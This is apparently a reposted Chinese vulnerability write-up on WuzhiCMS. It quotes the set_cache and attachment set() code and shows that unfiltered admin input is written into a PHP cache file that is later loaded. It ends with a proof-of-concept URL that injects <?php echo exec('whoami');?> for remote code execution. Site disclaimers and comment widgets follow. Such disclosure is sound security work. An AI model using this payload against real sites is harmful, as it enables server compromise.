1.在coreframeappcorelibsfunctioncommon.func.php文件的set_cache方法中,当$data不是数组类型时,$data会直接写入php文件。
function set_cache($filename, $data, $dir = '_cache_'){
static $_dirs;
if ($dir == '') return FALSE;
if (!preg_match('/([a-z0-9_]+)/i', $filename)) return FALSE;
$cache_path = CACHE_ROOT . $dir . '/';
if (!isset($_dirs[$filename . $dir])) {
if (!is_dir($cache_path)) {
mkdir($cache_path, 0777, true);
}
$_dirs[$filename . $dir] = 1;
}
$filename = $cache_path . $filename . '.' . CACHE_EXT . '.php';
if (is_array($data)) {
$data = '<?php' . "rn return " . array2string($data) . '?>';
}
file_put_contents($filename, $data);
}
2.在coreframeappattachmentadminindex.php文件的set方法中调用了set_cache方法,$GLOBALS['setting']没有被过滤,所以任何东西都可以写入php文件。
public function set()
{
if (isset($GLOBALS['submit'])) {
set_cache(M, $GLOBALS['setting']);
MSG(L('operation_success'), HTTP_REFERER, 3000);
} else {
$show_dialog = 1;
load_class('form');
$setting = &$this->_cache;
if(!isset($setting['show_mode'])) {
$setting = array('show_mode'=>2,'watermark_enable'=>1,'watermark_pos'=>0,'watermark_text'=>'www.wuzhicms.com');
set_cache(M, $setting);
}
include $this->template('set', M);
}
}
3.最后,在coreframeappattachmentadminindex.php的第21行,会加载一个可以写入任意内容的php文件。
$this->_cache = get_cache(M);
poc:
1.登录后台
2.访问 http://127.0.0.1/index.php?m=attachment&f=index&v=set&_su=wuzhicms&submit=1&setting=<?php echo exec('whoami');?>
3.再次访问
感谢您的来访,获取更多精彩文章请收藏本站。
© 版权声明
本站网络名称:
孤勇者社区
本站永久网址:
https://www.gyzsq.com
网站侵权说明:
本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长QQ324470778删除处理。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
1 本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
2 本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
3 本站资源大多存储在云盘,如发现链接失效,请联系我们我们会第一时间更新。
THE END
喜欢就支持一下吧
相关推荐
评论 共1条
欢迎您留下宝贵的见解!
- 最新
- 最热
只看作者